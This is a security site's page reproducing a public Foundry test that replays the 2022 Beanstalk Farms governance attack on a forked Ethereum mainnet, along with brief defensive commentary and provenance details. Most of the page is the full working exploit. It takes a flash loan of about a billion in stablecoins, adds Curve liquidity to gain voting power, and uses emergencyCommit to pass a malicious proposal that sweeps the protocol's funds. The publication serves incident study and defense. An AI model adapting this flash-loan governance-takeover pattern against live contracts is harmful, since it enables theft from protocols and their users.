Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/Beanstalk_exp.sol

Public reproduction file for the historical Beanstalk Farms incident (2022-04-16). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/Beanstalk_exp.sol144 lines
1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4
5import "forge-std/Test.sol";
6import "./../interface.sol";
7
8contract ContractTest is Test {
9 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
10 ILendingPool aavelendingPool = ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
11 IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
12 IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
13 IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
14 IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
15 IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
16 IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
17 IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
18 ICurvePool threeCrvPool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
19 ICurvePool bean3Crv_f = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
20 IBeanStalk siloV2Facet = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
21 IBeanStalk beanstalkgov = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
22 address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69;
23 uint32 bip = 18;
25 constructor() {
26 cheat.createSelectFork("mainnet", 14_595_905); // fork mainnet at block 14595905
27 }
29 function testExploit() public {
30 address[] memory path = new address[](2);
31 path[0] = uniswapv2.WETH();
32 path[1] = address(bean);
33 uniswapv2.swapExactETHForTokens{value: 75 ether}(0, path, address(this), block.timestamp + 120);
34 emit log_named_uint("Initial USDC balancer of attacker", usdc.balanceOf(address(this)));
36 emit log_named_uint(
37 "After initial ETH -> BEAN swap, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6
38 );
39 bean.approve(address(siloV2Facet), type(uint256).max);
40 siloV2Facet.depositBeans(bean.balanceOf(address(this)));
41 emit log_named_uint(
42 "After BEAN deposit to SiloV2Facet, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6
43 );
44 IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0);
45 bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector);
46 //emit log_named_uint("BIP:", bip);
47 // function propose(
48 // IDiamondCut.FacetCut[] calldata _diamondCut,
49 // address _init,
50 // bytes calldata _calldata,
51 // uint8 _pauseOrUnpause
52 // )
53 // https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
54 beanstalkgov.propose(_diamondCut, address(this), data, 3);
56 cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future
58 dai.approve(address(aavelendingPool), type(uint256).max);
59 usdc.approve(address(aavelendingPool), type(uint256).max);
60 TransferHelper.safeApprove(address(usdt), address(aavelendingPool), type(uint256).max);
61 bean.approve(address(aavelendingPool), type(uint256).max);
62 dai.approve(address(threeCrvPool), type(uint256).max);
63 usdc.approve(address(threeCrvPool), type(uint256).max);
64 TransferHelper.safeApprove(address(usdt), address(threeCrvPool), type(uint256).max);
65 bean.approve(address(siloV2Facet), type(uint256).max);
66 threeCrv.approve(address(bean3Crv_f), type(uint256).max);
67 IERC20(address(bean3Crv_f)).approve(address(siloV2Facet), type(uint256).max);
69 address[] memory assets = new address[](3);
70 assets[0] = address(dai);
71 assets[1] = address(usdc);
72 assets[2] = address(usdt);
74 uint256[] memory amounts = new uint256[](3);
75 amounts[0] = 350_000_000 * 10 ** dai.decimals();
76 amounts[1] = 500_000_000 * 10 ** usdc.decimals();
77 amounts[2] = 150_000_000 * 10 ** usdt.decimals();
79 uint256[] memory modes = new uint256[](3);
80 aavelendingPool.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0);
81 emit log_named_uint("After Flashloan repay, usdc balance of attacker:", usdc.balanceOf(address(this)));
82 usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
83 }
85 function executeOperation(
86 address[] calldata assets,
87 uint256[] calldata amounts,
88 uint256[] calldata premiums,
89 address initiator,
90 bytes calldata params
91 ) external returns (bool) {
92 emit log_named_uint("After deposit, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6); // @note redundant log
93 uint256[3] memory tempAmounts;
94 tempAmounts[0] = amounts[0];
95 tempAmounts[1] = amounts[1];
96 tempAmounts[2] = amounts[2];
97 threeCrvPool.add_liquidity(tempAmounts, 0);
98 uint256[2] memory tempAmounts2;
99 tempAmounts2[0] = 0;
100 tempAmounts2[1] = threeCrv.balanceOf(address(this));
101 bean3Crv_f.add_liquidity(tempAmounts2, 0);
102 emit log_named_uint(
103 "After adding 3crv liquidity , bean3Crv_f balance of attacker:", crvbean.balanceOf(address(this))
104 );
105 emit log_named_uint(
106 "After Curvebean3Crv_f balance of attacker:", IERC20(address(bean3Crv_f)).balanceOf(address(this))
107 ); //@note logging balance for same token ?
108 siloV2Facet.deposit(address(bean3Crv_f), IERC20(address(bean3Crv_f)).balanceOf(address(this)));
109 //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip
110 beanstalkgov.emergencyCommit(bip);
111 emit log_named_uint(
112 "After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:",
113 crvbean.balanceOf(address(this))
114 );
115 bean3Crv_f.remove_liquidity_one_coin(IERC20(address(bean3Crv_f)).balanceOf(address(this)), 1, 0);
116 emit log_named_uint(
117 "After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:",
118 crvbean.balanceOf(address(this))
119 );
120 tempAmounts[0] = amounts[0] + premiums[0];
121 tempAmounts[1] = amounts[1] + premiums[1];
122 tempAmounts[2] = amounts[2] + premiums[2];
123 emit log_named_uint("premiums[0]:", premiums[0]);
124 emit log_named_uint("premiums[1]:", premiums[1]);
125 emit log_named_uint("premiums[2]:", premiums[2]);
126 emit log_named_uint("tempAmounts[0]:", tempAmounts[0]);
127 emit log_named_uint("tempAmounts[1]:", tempAmounts[1]);
128 emit log_named_uint("tempAmounts[2]:", tempAmounts[2]);
130 threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);
131 threeCrvPool.remove_liquidity_one_coin(threeCrv.balanceOf(address(this)), 1, 0);
133 emit log_named_uint(
134 "After removing 3crv liquidity from 3crv pool, usdc balance of attacker:", usdc.balanceOf(address(this))
135 );
137 return true;
138 }
140 function sweep() external {
141 IERC20 erc20bean3Crv_f = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
142 erc20bean3Crv_f.transfer(msg.sender, erc20bean3Crv_f.balanceOf(address(this))); //Just for verification, so keep other tokens
143 }

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Beanstalk Farms incident dated 2022-04-16. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

  • Review privileged entry points
  • Limit what external coin can be pulled without intent checks
  • Pause or migrate when a class of bug is public

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
Beanstalk Farms
Path
src/test/2022-04/Beanstalk_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
726e8de9a49c817ca1a9f32d7515d6a25989ad4a
Language
Solidity
Size
145 lines
Date
2022-04-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/Beanstalk_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 726e8de9a49c817ca1a9f32d7515d6a25989ad4a, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.